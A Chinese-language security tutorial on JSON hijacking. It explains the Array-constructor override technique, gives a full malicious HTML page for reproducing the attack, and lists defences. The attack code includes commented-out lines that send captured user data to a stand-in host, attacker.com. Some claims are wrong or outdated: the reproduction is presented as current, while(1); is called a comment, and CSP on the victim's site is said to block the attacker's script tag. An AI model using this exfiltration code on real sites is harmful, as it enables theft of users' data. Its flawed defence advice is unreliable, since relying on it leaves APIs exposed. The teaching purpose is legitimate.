JSON劫持:复现步骤与有效防御

JSON劫持:复现步骤与有效防御

在当今数字化时代,数据传输无处不在,JSON作为一种轻量级的数据交换格式,被广泛应用于前后端通信。然而,随之而来的安全风险也不容忽视,其中“JSON劫持”便是一个典型例子。此漏洞利用浏览器特性,使得攻击者能够窃取用户敏感数据。理解其工作机制、复现过程及有效防御策略,对于构建稳固的网络安全防线至关重要。

JSON劫持概述

JSON劫持(JSON Hijacking),顾名思义,是指攻击者通过某种手段“劫持”了本应发送给受害者的JSON数据。这并非针对JSON格式本身,而是利用了浏览器对JavaScript和JSON数据处理的一些机制。当用户在特定网站登录后,会话信息可能被保留。此时,如果该网站的某个API接口返回敏感JSON数据时,没有采取适当的防护措施,恶意网站便可能通过跨域请求的方式,诱使浏览器加载该接口,并“窃取”返回的JSON内容。

攻击原理剖析

要深入理解如何利用JSON劫持漏洞,核心在于其对同源策略(Same-Origin Policy, SOP)的巧妙规避以及对特定JavaScript特性的利用。

利用数组构造函数覆盖

早期的JSON劫持攻击主要利用了JavaScript中全局对象的属性覆盖。当服务器返回的JSON数据直接是数组形式(例如[{"id":1, "name":"test"}])时,如果攻击者在恶意页面中预先定义或覆盖了全局的Array构造函数,那么当受害者浏览器加载此恶意页面并请求目标JSON接口时,服务器返回的JSON数组将被当作JavaScript代码执行,从而触发攻击者定义的Array构造函数,并捕获传入的数据。

举例而言,攻击者可以在其页面中放置如下代码:

<script>
var originalArray = Array;
Array = function() {
    // 此时,arguments中将包含被劫持的JSON数据
    console.log("JSON数据被劫持:", arguments);
    // 可以在这里将数据发送到攻击者的服务器
    // 例如:new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(arguments));
    return new originalArray(); // 保持正常功能
};
</script>
<script src="https://victim.com/api/sensitive_data"></script>

当浏览器加载https://victim.com/api/sensitive_data并返回一个JSON数组时,攻击者定制的Array函数便会被调用,从而捕获数据。

同源策略的绕过

JSON劫持之所以能发生,是因为同源策略虽然限制了跨域读取响应内容,但并未禁止跨域加载脚本。当受害网站的敏感API接口以<script>标签的形式被恶意页面引用时,浏览器会执行该脚本。如果该脚本的响应内容恰好是可执行的JSON数组,攻击者就能通过预先的JavaScript定义捕获其内容。

复现步骤详解

要复现JSON劫持漏洞,我们需要模拟一个受害网站和一个攻击者控制的恶意网站。以下是一个简化的复现过程。

准备阶段

受害网站 (Victim.com) 模拟: 假设存在一个受害网站,其某个API接口在用户登录后,会返回用户的敏感信息,格式为JSON数组。例如:https://victim.com/api/user_info返回 [{"username":"alice", "email":"alice@example.com", "balance":1000}]

攻击者网站 (Attacker.com) 模拟: 攻击者搭建一个网站,上面包含恶意代码,诱导用户访问。

构造恶意页面

在攻击者网站(Attacker.com)上,创建一个HTML页面,例如malicious.html,内容如下:

<!DOCTYPE html>
<html>
<head>
    <title>恶意页面</title>
</head>
<body>
    <h1>欢迎访问!</h1>
    <p>您似乎登录了某个网站,请等待...</p>
    <script>
        // 覆盖Array构造函数
        var originalArrayConstructor = Array;
        Array = function() {
            var hijackedData = arguments;
            console.log("成功劫持JSON数据:", hijackedData);
            // 这里可以将数据发送到攻击者的服务器
            // 真实攻击中会使用Ajax或Image请求将数据外发
            // 例如:new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(hijackedData[0]));
            return new originalArrayConstructor();
        };
    </script>
    <!-- 引入受害网站的敏感API接口 -->
    <script src="https://victim.com/api/user_info"></script>
</body>
</html>

触发劫持

当受害者在浏览器中访问了victim.com并保持登录状态后(例如,浏览器中留存了有效的会话Cookie),攻击者通过钓鱼邮件、恶意广告等方式,诱导受害者访问attacker.com/malicious.html

受害者浏览器加载malicious.html时:

  1. 页面中的JavaScript会首先执行,覆盖全局的Array构造函数。
  2. 随后,浏览器会尝试加载<script src="https://victim.com/api/user_info"></script>
  3. 由于用户已登录victim.com,浏览器会自动带上会话Cookie请求该API。
  4. victim.com服务器返回敏感JSON数据,例如[{"username":"alice", "email":"alice@example.com", "balance":1000}]
  5. 浏览器将此响应内容作为JavaScript代码执行。由于其格式是一个数组字面量,它会调用攻击者覆盖的Array构造函数,并将数组内容作为参数传入。
  6. 攻击者的恶意代码成功捕获到敏感JSON数据,并可以将其发送回攻击者的服务器。

JSON劫持:复现步骤与有效防御

有效防御策略

防范JSON劫持需要从多个层面入手,综合运用多种安全措施。

改变JSON响应格式

这是被广泛采纳且行之有效的防御手段。服务器在返回敏感JSON数据时,在其内容前面添加一些不可执行的字符,使其不再是纯粹的JSON数组或可执行的JavaScript代码。常见的做法是在JSON数据前加上一个无限循环注释,例如while(1);for(;;);或者一个特殊的非JSON前缀。

// 原始数据: [{"user": "alice"}]
// 修改后: while(1);[{"user": "alice"}]
// 或: for(;;);[{"user": "alice"}]
// 或: )]}',  [{"user": "alice"}] (Google/Facebook常用的前缀)

客户端在接收到数据后,需要先移除这些前缀,再进行JSON解析。这样一来,即使数据被<script>标签加载,由于前缀的存在,它也不再是一个有效的JavaScript代码,从而无法被执行,也无法触发攻击者预定义的函数。

强制POST请求

对于涉及敏感数据的API接口,应强制要求使用POST请求,而非GET请求。<script>标签只能发起GET请求,无法发起POST请求。虽然理论上攻击者可以通过CSRF攻击来模拟POST请求,但此时便会受到CSRF令牌等防御机制的制约。单纯的JSON劫持无法利用POST请求。

结合CSRF令牌

为每个敏感操作的请求都附带一个随机生成的CSRF(Cross-Site Request Forgery)令牌。服务器在处理请求时,验证此令牌的有效性。由于攻击者无法获取到用户当前会话的CSRF令牌,即便其能够模拟请求,也无法通过验证,从而有效阻止攻击。

内容安全策略 (CSP)

部署严格的内容安全策略(Content Security Policy, CSP)可以限制页面可以加载的脚本来源。通过配置CSP,只允许从可信域名加载脚本,可以有效阻止恶意<script>标签的加载,从而削弱JSON劫持的攻击能力。例如,设置script-src 'self'只允许加载同源脚本。

实际案例启示

历史上,一些知名的在线服务曾遭受JSON劫持的威胁,导致用户敏感信息面临风险。这些案例提醒我们,即便是广泛使用的技术,其安全性也依赖于开发者对潜在漏洞的深入理解和审慎的防御措施。数据泄露可能造成声誉受损、用户信任度下降以及合规性问题。因此,在设计和实现API时,务必将安全性作为核心考量,尤其是在处理用户敏感信息时,采取多层防御措施是不可或缺的实践。

通过理解JSON劫持的原理、掌握其复现步骤,并积极实施上述防御策略,可以显著提升应用程序的安全性,保护用户数据免受未授权的访问与窃取。构建安全的应用环境,需持续学习与实践,才能应对不断演进的网络威胁。